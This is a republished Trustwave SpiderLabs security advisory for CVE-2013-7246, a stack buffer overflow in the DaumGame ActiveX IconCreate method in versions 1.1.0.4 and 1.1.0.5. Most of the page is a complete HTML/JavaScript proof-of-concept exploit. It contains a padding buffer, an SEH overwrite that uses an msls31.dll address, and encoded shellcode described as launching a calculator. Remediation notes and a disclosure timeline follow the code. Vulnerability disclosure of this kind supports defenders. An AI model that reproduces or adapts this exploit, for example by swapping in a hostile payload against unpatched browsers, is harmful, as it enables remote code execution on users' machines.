# Daum Game 1.1.0.5 - ActiveX (IconCreate Method) Stack Buffer Overflow

  

    
    
    <!--
    Trustwave SpiderLabs Security Advisory TWSL2014-002:
    Buffer Overflow Vulnerability in DaumGame ActiveX
    
    Published: 01/07/2014
    Version: 1.1
    
    Vendor: Daum (daum.net)
    Product: Daum Game ActiveX
    Version affected:  1.1.0.5, 1.1.0.4
    
    Product description:
    DaumGame ActiveX of Daum Communications is a plugin that is required for
    playing in Daum Game website.
    
    
    Finding 1: ActiveX IconCreate SEH Overwrite Remote Code Execution
    Credit: Daniel Chechik of Trustwave SpiderLabs
    CVE: CVE-2013-7246
    CWE: CWE-119
    
    DaumGame ActiveX versions 1.1.0.5, 1.1.0.4 by Daum Communications includes
    the vulnerable method "IconCreate" which is designed to support icon
    process. The method which accepts printable characters suffers from buffer
    overflow vulnerability that leads to SEH overwrite.
    
    
    The following Proof of Concept (PoC) executes an harmless calculator.  In
    this PoC the SEH handler is overwritten with an address from 'msls31.dll'
    in order to control EIP.
    
    ## daumgame.html
    -->
    
    <html>
    
    <body>
    
    <object name="activex2" classid="clsid:16B6A027-2732-4028-9303-EFE3E95EF766"> </object>
    
    <script>
    
    
    var overwrite = unescape("%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
     %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
     05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
     5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05
     %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
     05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%
     05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0
     5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%90%90%eb%06%a9%15%6c%74%90%90%90%90%90%90%90%90%90%90%90%90");
    
    
    var buffer = "";
    
    for (i=0; i < 18004; i++ ){
            buffer += "%41";
    }
    
    buffer = unescape(buffer);
    
    var shellcode = "\xda\xd1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x5a\x48\x4f\x79\x33\x30\x45\x50\x35\x50\x71\x70\x6c\x49\x6b\x55\x65\x61\x4b\x62\x63\x54\x6e\x6b\x70\x52\x44\x70\x6e\x6b\x56\x32\x56\x6c\x6e\x6b\x56\x32\x34\x54\x6e\x6b\x33\x42\x74\x68\x34\x4f\x4e\x57\x32\x6a\x54\x66\x56\x51\x49\x6f\x45\x61\x49\x50\x4c\x6c\x37\x4c\x75\x31\x73\x4c\x73\x32\x76\x4c\x75\x70\x6b\x71\x5a\x6f\x76\x6d\x35\x51\x6b\x77\x38\x62\x5a\x50\x71\x42\x56\x37\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x42\x65\x6c\x73\x31\x6e\x30\x6c\x4b\x53\x70\x43\x48\x6e\x65\x6f\x30\x62\x54\x51\x5a\x55\x51\x4a\x70\x42\x70\x4c\x4b\x71\x58\x52\x38\x6e\x6b\x71\x48\x65\x70\x37\x71\x4e\x33\x6a\x43\x67\x4c\x71\x59\x4c\x4b\x75\x64\x4c\x4b\x57\x71\x6b\x66\x35\x61\x69\x6f\x54\x71\x4f\x30\x4e\x4c\x4b\x71\x48\x4f\x64\x4d\x47\x71\x7a\x67\x75\x68\
     x59\x70\x74\x35\x79\x64\x46\x63\x71\x6d\x78\x78\x37\x4b\x51\x6d\x45\x74\x61\x65\x59\x72\x32\x78\x6c\x4b\x72\x78\x45\x74\x63\x31\x4b\x63\x30\x66\x6e\x6b\x64\x4c\x52\x6b\x6e\x6b\x52\x78\x37\x6c\x35\x51\x6e\x33\x4e\x6b\x66\x64\x6e\x6b\x37\x71\x6e\x30\x4b\x39\x77\x34\x54\x64\x75\x74\x71\x4b\x33\x6b\x71\x71\x56\x39\x61\x4a\x76\x31\x69\x6f\x6d\x30\x50\x58\x61\x4f\x32\x7a\x6c\x4b\x47\x62\x58\x6b\x4e\x66\x43\x6d\x50\x6a\x57\x71\x4e\x6d\x6e\x65\x6d\x69\x77\x70\x47\x70\x73\x30\x62\x70\x42\x48\x46\x51\x4e\x6b\x50\x6f\x6b\x37\x39\x6f\x4a\x75\x4d\x6b\x5a\x50\x38\x35\x4c\x62\x76\x36\x32\x48\x6c\x66\x4f\x65\x4d\x6d\x6f\x6d\x39\x6f\x69\x45\x55\x6c\x76\x66\x33\x4c\x76\x6a\x6d\x50\x39\x6b\x4b\x50\x52\x55\x66\x65\x6f\x4b\x53\x77\x76\x73\x63\x42\x30\x6f\x53\x5a\x65\x50\x73\x63\x79\x6f\x5a\x75\x61\x73\x33\x51\x30\x6c\x62\x43\x44\x6e\x35\x35\x61\x68\x63\x55\x43\x30\x41\x41";
    
    
    var seh_code = overwrite + shellcode + buffer;
    
    activex2.IconCreate(seh_code,'','');
    
    
    
    </script>
    
    </body>
    
    </html>
    
    <!--
    Remediation Steps:
    The vendor has released a fix in version 1.1.0.6
    
    
    Revision History:
    12/20/13 - Vulnerability disclosed to vendor
    01/03/14 - Patch released by vendor
    01/06/14 - Advisory published
    01/07/14 - Confirmed fix
    01/07/14 - Advisory revision published
    
    References
    1. http://game.daum.net/
    
    
    About Trustwave:
    Trustwave is the leading provider of on-demand and subscription-based
    information security and payment card industry compliance management
    solutions to businesses and government entities throughout the world. For
    organizations faced with today's challenging data security and compliance
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    offices throughout North America, South America, Europe, Africa, China and
    Australia. For more information, visit https://www.trustwave.com
    
    About Trustwave SpiderLabs:
    SpiderLabs(R) is the advanced security team at Trustwave focused on
    application security, incident response, penetration testing, physical
    security and security research. The team has performed over a thousand
    incident investigations, thousands of penetration tests and hundreds of
    application security tests globally. In addition, the SpiderLabs Research
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    https://www.trustwave.com/spiderlabs
    
    Disclaimer:
    The information provided in this advisory is provided "as is" without
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    for any damages whatsoever including direct, indirect, incidental,
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    ________________________________
    
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